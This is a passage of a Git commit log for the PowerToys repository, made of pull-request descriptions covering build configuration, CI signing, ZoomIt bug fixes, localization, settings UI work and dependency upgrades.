## PR Checklist

- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
Updates `Common.Dotnet.CsWinRT.props` with a `CoreTargetFramework`
property. This is then used to form the actual `TargetFramework`
property. `Settings.UI.XamlIndexBuilder` was the original catalyst for
this PR since it doesn't need Windows SDK targeting, and it didn't make
sense to have one project by itself that would manually need its target
version updated.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-14 15:53:04 +08:00
Youssef Victor
a403323530 Migrate to MTP (#37651)
Duplicating https://github.com/microsoft/PowerToys/pull/37001, but
opening from upstream instead of fork as CI doesn't play nicely with PRs
from forks (https://github.com/microsoft/PowerToys/pull/37617 is
improving that)

---------

Co-authored-by: Clint Rutkas <clint@rutkas.com>
Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-14 15:47:56 +08:00
Kai Tao
8e264d37a1 CI: Sign new dll to get ci passed (#45582)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<img width="1527" height="354" alt="image"
src="https://github.com/user-attachments/assets/28b14e69-f16a-4129-8757-3f7304e6a446"
/>

Release pipeline fail to check the dll signature, forgot to sign it.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Should pass release pipeline
2026-02-13 22:26:37 +08:00
Dave Rayment
e8165fc947 [ZoomIt] Fix ampersand typing bug and debug assertion failure (#43679)
## Summary of the Pull Request
This PR fixes two typing-related issues in ZoomIt:
1. Ampersands could be typed even when Type Mode or Draw Mode were not
engaged
2. On Debug builds, typing a non-alphanumeric character in Type Mode
would crash ZoomIt with a CRT assertion failure

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #43676 
- [x] Closes: #43677
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

### Assertion failure on Debug builds

**Root Cause**

This occurred because of a combination of a type-coercion issue and the
use of `isprint()` in `WM_KEYDOWN`, which operates on virtual key codes,
not characters.

This is the code with the fault:

```cpp
    if( (g_TypeMode != TypeModeOff) && g_HaveTyped && static_cast<char>(wParam) != VK_UP && static_cast<char>(wParam) != VK_DOWN &&
        (isprint( static_cast<char>(wParam)) ||
        wParam == VK_RETURN || wParam == VK_DELETE || wParam == VK_BACK )) {
```

There are a few issues here:

1. There is no need for the `VK_UP` / `VK_DOWN` check. The block only
executes if `VK_RETURN`, `VK_DELETE` or `VK_BACK` are pressed, which
cannot be `VK_UP` or `VK_DOWN` by definition. This should be removed.
2. Casting the `wParam` to `char` means casting an unsigned int value to
a signed char. This works for alphanumeric characters, as the VK_-codes
correspond to their char counterparts. But it fails for values with
their high bit set, e.g. a hyphen:

- The virtual key code for the hyphen key is `VK_OEM_MINUS`, or `0xBD`
- `0xBD` (10111101) becomes `-67` when cast to a char
- In Debug builds, a call to `isprint()` includes a range check to
ensure the value is in the range 1 to 255. A negative value trips this
assertion.

3. The casts are not needed.

**Fix**
Remove both the `isprint()` call (the WM_CHAR handler has an
`iswprint()` check) and remove the check against `VK_UP` and `VK_DOWN`.

### Ampersand issue

This is a simple operator precedence issue with this statement:

```cpp
if ((g_TypeMode != TypeModeOff) && iswprint(static_cast<TCHAR>(wParam)) || 
    (static_cast<TCHAR>(wParam) == L'&'))
```

The intention is to continue if one of the Type Modes is engaged (either
left-to-right or right-to-left) and either the typed character is
printable or (a special-case) the ampersand (presumably for legacy
issues when `DT_NOPREFIX` was not present on all draw text calls).

Unfortunately, the parentheses are placed incorrectly, resulting in the
expression actually being:

`if (Type Mode is active AND a printable character was pressed) OR
(Ampersand was pressed)`

(Meaning the code will always execute if ampersand is pressed regardless
of the mode.)

**Fix**
Correcting the placement of the parentheses fixes the issue.

Note: I think `DT_NOPREFIX` exists on all `DrawText()` calls which
render characters, so we could potentially remove the ampersand check
entirely in the future, assuming that was the original issue which
required the special casing.

## Validation Steps Performed
- Ensure ampersand does not result in the character appearing and/or
glitches occurring where the cursor is when Type Mode or Draw Mode are
not active.
- Ensure ampersands may still be typed as normal in Type Mode.
- Confirm that non-alphanumeric characters can be typed without issue in
Type Mode on both Debug and Release builds.
- Test draw operations in combination with text notes.
- Test backspace, return and delete keys in Type Mode.
- Test that Type Mode engages repeatedly and can be exited.
2026-02-13 19:29:38 +08:00
foxmsft
450d6db343 Add an option for mono mic capture in ZoomIt 2026-02-13 10:43:24 +01:00
Shawn Yuan
bb4c548a4b Update BuildWithLatestWinAppSdkDaily pipeline (#45555)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This pull request introduces an "artifact-based" mode for consuming the
Windows App SDK in CI pipelines, allowing builds to use NuGet packages
directly from Azure DevOps pipeline artifacts instead of public/internal
feeds. This is achieved by adding new parameters and logic to pipeline
YAML and PowerShell scripts, supporting scenarios where packages are not
yet published to a feed. The changes also improve robustness when
updating package versions and add documentation for authentication
requirements.

These changes make the pipeline more flexible and robust, enabling
builds to consume unreleased or pre-release packages directly from CI
artifacts, which is especially useful for testing and validation
scenarios.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-13 12:27:21 +08:00
Jiří Polášek
64298a5414 CmdPal: Localize the "More" button on the command bar and hotkeys (#45505)
## Summary of the Pull Request

Enable localization for command bar buttons and modifiers

- Adds localization support for the "More" command button on the command
bar
- Localizes the secondary command key modifier (Ctrl) and its
combinations
- Updates related tooltips for improved consistency
- Enhances the overall user experience for non-English locales

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45503
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-12 20:38:10 +01:00
Mike Griese
efc3c5e5c8 CmdPal: Add Dock API (#45432)
This doesn't actually add the dock. It just adds the API for it.

Extension authors can use this to create their own dock bands.

re: #45201
2026-02-12 12:59:15 -06:00
Niels Laute
75bf64299d Creating a Common.UI.Controls lib (#45542)
## Summary of the Pull Request

@jiripolasek FYI

This PR creates a new `Common.UI.Controls` library that contains shared
WinUI controls. We have been copying code manually between CmdPal and
Settings, and now with the new KBM we will run into the same issue.

This lib has shared controls projects can add to their proj so we have a
single source of truth.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45388

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-12 16:45:44 +01:00
Jiří Polášek
795c64cc72 CmdPal: Manually iterate package metadata tags to prevent exceptions (#45502)
## Summary of the Pull Request

This PR fixes an error that occurred when reading tags for the selected
package in WinGet extensions when AOTed. The issue was caused by using
LINQ over a WinRT proxy; this has been replaced with manual iteration
over the collection to avoid the failure.

The exception is now caught and logged as a warning by #44757.

<img width="863" height="500" alt="image"
src="https://github.com/user-attachments/assets/6e08e674-532e-4e9b-a5c6-f7e1c224c341"
/>

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44487
- [x] Closes: #44486
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-12 09:35:56 -06:00
Jiří Polášek
aca0b9c747 CmdPal: Clipboard history - localize metadata strings (#45506)
## Summary of the Pull Request

This PR enables the localization of strings in metadata providers
(section titles and keys) and other unlocalized strings in Clipboard
History built-in extension.

## PR Checklist

- [x] Closes: #42185
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-12 09:34:48 -06:00
Weike Qu
f88a4908ac [Keyboard Manager] Toggle module hotkey/shortcut (#42472)
## Summary of the Pull Request

Adds a keyboard shortcut to be able to toggle the Keyboard Manager
module on and off.

## PR Checklist

- [x] Closes: #4879 
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments

Modeled the changes and addition of a global shortcut using the Color
Picker module.

Notes:
- This uses `KeyboardManagerSettings` and the associated .json settings
file. I don't think there's anything else in this module that uses this.
- The default key binding for this is `winkey + shift + k`
- I've had to update the `KeyboardManagerViewModel` to extend
`PageViewModelBase` as opposed to `Observable` to get it to work. But I
will say that there were some things in here that I didn't fully dig
into, so let me know if there's any potential things I'm missing.
- I'm not too sure how to update the Settings UI after a hotkey is
pressed (pressing the hotkey currently will not show the module being
toggled off) - can't find a good way to refresh the settings ui after
enabling/disabling the module. Any pointers here would be appreciated!



## Validation Steps Performed
- Manually validated the following items:
  - Using the default shortcut (`winkey + shift + k`)
  - Changing the shortcut
  - Ensuring the change is persistent

## Media


https://github.com/user-attachments/assets/e471b8df-787a-441e-b9e0-330361865c76

---------

Co-authored-by: Weike Qu <weikequ@get-stride.com>
Co-authored-by: Leilei Zhang <leilzh@microsoft.com>
Co-authored-by: vanzue <vanzue@outlook.com>
Co-authored-by: Kai Tao <69313318+vanzue@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-02-12 13:01:40 +01:00
Copilot
587385d879 [Settings] Implement singleton pattern for ShortcutConflictWindow (#42440)
## Summary
Fixes issue where multiple ShortcutConflictWindow instances could be
opened simultaneously. The window now follows the same singleton pattern
as OobeWindow - only one instance can exist at a time, and attempting to
open another brings the existing window to the foreground.

## Changes
Implemented singleton management for `ShortcutConflictWindow` following
the established pattern used by `OobeWindow`:

### App.xaml.cs
- Added static field to store the singleton window instance
- Added `GetShortcutConflictWindow()`, `SetShortcutConflictWindow()`,
and `ClearShortcutConflictWindow()` methods for lifecycle management

### ShortcutConflictWindow.xaml.cs
- Updated `WindowEx_Closed` event handler to call
`App.ClearShortcutConflictWindow()` to properly clean up the singleton
reference when the window is closed

### Updated all three entry points that create ShortcutConflictWindow:
- **ShortcutConflictControl.xaml.cs** (Dashboard conflict warning)
- **ShortcutControl.xaml.cs** (Settings page shortcut controls)
- **OobeOverview.xaml.cs** (OOBE overview page)

Each location now checks if a window already exists using
`App.GetShortcutConflictWindow()`:
- If no window exists, creates a new one and registers it via
`App.SetShortcutConflictWindow()`
- If a window already exists, simply calls `Activate()` to bring it to
the foreground

## Testing
The fix ensures that:
-  Only one ShortcutConflictWindow can be open at a time
-  Clicking the shortcut conflict button when a window is already open
activates the existing window instead of creating a duplicate
-  The window reference is properly cleared when closed, allowing a new
instance to be created in future interactions

Fixes #[issue_number]

> [!WARNING]
>
> <details>
> <summary>Firewall rules blocked me from connecting to one or more
addresses (expand for details)</summary>
>
> #### I tried to connect to the following addresses, but was blocked by
firewall rules:
>
> - `i1qvsblobprodcus353.vsblob.vsassets.io`
> - Triggering command: `dotnet build PowerToys.Settings.csproj
--configuration Release` (dns block)
>
> If you need me to access, download, or install something from one of
these locations, you can either:
>
> - Configure [Actions setup
steps](https://gh.io/copilot/actions-setup-steps) to set up my
environment, which run before the firewall is enabled
> - Add the appropriate URLs or hosts to the custom allowlist in this
repository's [Copilot coding agent
settings](https://github.com/microsoft/PowerToys/settings/copilot/coding_agent)
(admins only)
>
> </details>

<!-- START COPILOT CODING AGENT SUFFIX -->



<details>

<summary>Original prompt</summary>

> 
> ----
> 
> *This section details on the original issue you should resolve*
> 
> <issue_title>[Settings] Single Shortcuts Conflicts
window</issue_title>
> <issue_description>### Microsoft PowerToys version
> 
> 0.95.0
> 
> ### Installation method
> 
> GitHub
> 
> ### Area(s) with issue?
> 
> Settings
> 
> ### Steps to reproduce
> 
> Multiple shortcut conflicts window can be launched.
> Should have the same behavior of OOBE window.
> If shortcut conflicts window is already opened, pressing the button
should bring the window in foreground.
> 
> ### ✔️ Expected Behavior
> 
> Single shortcuts conflicts window
> 
> ###  Actual Behavior
> 
> Multiple shortcut conflicts window can be launched
> 
> ### Additional Information
> 
> _No response_
> 
> ### Other Software
> 
> _No response_</issue_description>
> 
> <agent_instructions>Settings ShortcutConflictWindow should have the
same behavior of OobeWindow.
> When ShortcutConflictWindow is already opened, activate that window
instead of opening another one. </agent_instructions>
> 
> ## Comments on the Issue (you are @copilot in this section)
> 
> <comments>
> </comments>
> 


</details>

Fixes microsoft/PowerToys#42437

<!-- START COPILOT CODING AGENT TIPS -->
---

💬 Share your feedback on Copilot coding agent for the chance to win a
$200 gift card! Click
[here](https://survey3.medallia.com/?EAHeSx-AP01bZqG0Ld9QLQ) to start
the survey.

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: davidegiacometti <25966642+davidegiacometti@users.noreply.github.com>
Co-authored-by: Davide Giacometti <davide.giacometti@outlook.it>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-12 17:28:21 +08:00
Niels Laute
528fb524d0 [Settings] Optimizing and cleaning up code (#44721)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

- Removing dead experiments code
- Refactoring and simplifying OOBE/SCOOBE windowing code
- Removing dead assets
- Optimizing CmdPal assets to lower res shaving off a few MBs
- Scrolling works better on the What's new page
- Should be merged after: #44638

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #44958
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Gordon Lam (SH) <yeelam@microsoft.com>
2026-02-12 10:35:58 +08:00
Niels Laute
3385d1d741 [Settings] UX fixes (#45513)
## Summary of the Pull Request

This PR includes:
- UI improvements to the Mouse Without Borders settings page.
- UI improvements to the AOT settings page.
- Multiple small fixes (e.g. to enable proper disabled states)
- Using GH Copilot CLI to loc strings that were hardcoded.
- Using GH Copilot CLI to remove dead loc strings from `Resources.resw`
(@jay-o-way will appreciated this 😁):

<img width="606" height="245" alt="image"
src="https://github.com/user-attachments/assets/aeab1201-1129-4ac9-a714-ac5ea7a227cc"
/>


## PR Checklist

- [x] Closes: #41688
- [x] Closes: #32869
- [x] Closes: #36200

<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-11 23:00:11 +01:00
Niels Laute
2440f8fc23 Improve dev docs (#45534)
- Making the contributor-setup doc a bit easier to digest.
- Removing duplicated information
- Upgrade VS instructions/config files/scripts to VS2026

---------

Co-authored-by: Noraa Junker <noraa.junker@outlook.com>
Co-authored-by: Jeremy Sinclair <4016293+snickler@users.noreply.github.com>
2026-02-11 22:59:53 +01:00
Jiří Polášek
5eb3617660 CmdPal: Localize additional UI strings in Registry and Services commands (#45508)
## Summary of the Pull Request

This PR
- Makes the "Browse the Windows registry" text for the Registry
extension command localizable
- Makes the "Manage Windows Services" text for the Windows services
command localizable
- Makes the Windows services filters ("all", "running", "paused",
"stopped") localizable
- Makes the Windows service primary command strings ("Start", "Stop",
"Resume") localizable
- Adds comment to "Open Windows Terminal profiles" resource

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-11 11:25:23 -06:00
Jeremy Sinclair
67a4d344d6 [Deps] Upgrade Microsoft.Windows.CppWinRT to 2.0.250303.1 (#45420)
This PR upgrades the **Microsoft.Windows.CppWinRT** NuGet package from
version **2.0.240111.5** to **2.0.250303.1** across the entire PowerToys
solution.
2026-02-11 08:54:24 -08:00
Gordon Lam
09bdbfac38 build(updating): Add WinRT coroutine support and refactor async methods (#45522)
## Summary of the Pull Request  
There are many build warnings now with like "cl : command line warning
D9047: option 'await' has been deprecated and will be re moved in a
future release." after we update to VS2026.

Introduce WinRT coroutine support by replacing `std::future` with
`IAsyncOperation` for asynchronous methods. Adjust output directories
and remove the `/await` option from project files to streamline the
build process. Update methods to utilize `std::expected` and `co_await`,
enhancing the async handling of version checks and downloads.

## PR Checklist  
- [ ] Closes: #xxx  
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass  
- [ ] **Localization:** All end-user-facing strings can be localized  
- [ ] **Dev docs:** Added/updated  
- [ ] **New binaries:** Added on the required places  
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
